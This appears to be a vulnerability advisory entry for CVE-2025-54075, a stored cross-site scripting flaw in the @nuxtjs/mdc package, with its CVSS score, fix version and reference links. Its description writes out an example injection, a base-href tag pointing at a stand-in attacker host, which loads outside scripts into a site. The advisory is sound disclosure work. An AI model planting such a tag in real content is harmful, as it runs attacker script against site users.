PT-2025-30053 · Unknown · @Nuxtjs/Mdc

Vozec · Published 2025-07-18 · Updated 2025-07-20 · CVE-2025-54075

Positive Technologies (AI Summary)

CVSS v3.1

8.3

High

Base vector

AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

Name of the Vulnerable Software and Affected Versions @nuxtjs/mdc versions prior to 0.17.2

Description A remote script-inclusion / stored cross-site scripting issue exists in @nuxtjs/mdc. A Markdown author can inject a <base href="https://attacker.tld"> element, which rewrites how relative URLs are resolved. This allows an attacker to load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.

Recommendations Update @nuxtjs/mdc to version 0.17.2 or later.

Exploit

Fix

XSS

Weakness Enumeration

CWE-79

Related Identifiers

CVE-2025-54075

GHSA-CJ6R-RRR9-FG82

Affected Products

@Nuxtjs/Mdc

References · 9

• 🔥 https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54075.json · Exploit
• 🔥 https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82 · Exploit
• https://nvd.nist.gov/vuln/detail/CVE-2025-54075 · Security Note
• https://osv.dev/vulnerability/GHSA-cj6r-rrr9-fg82 · Vendor Advisory
• https://osv.dev/vulnerability/CVE-2025-54075 · Vendor Advisory
• https://github.com/nuxt-modules/mdc · Note
• https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a · Note
• https://twitter.com/VulmonFeeds/status/1946265267874533615 · Twitter Post
• https://twitter.com/CVEnew/status/1946237808579920242 · Twitter Post